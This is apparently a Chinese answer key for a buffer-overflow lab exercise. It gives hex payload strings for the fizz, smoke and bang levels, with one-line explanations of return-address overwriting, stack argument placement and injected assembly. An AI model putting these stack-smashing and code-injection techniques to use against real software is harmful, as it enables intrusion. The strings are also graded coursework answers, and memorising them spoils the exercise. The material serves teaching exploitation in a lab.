答案为：
fizz.txt: 直接将要返回的地址覆盖原地址就行了
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000701040000000000000000000000000003cb2fc3959dd6e26
smoke.txt 将要传递的参数写到栈中即可
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c01040
bang.txt 写一段简单的汇编，使其能够跳转到执行的代码，反汇编，将二进制码写入数组
48b83cb2fc3959dd6e2648890425082360006820104000c3000000000000000000000000000000000000000000000000000000000000000080b0ffffff7f0000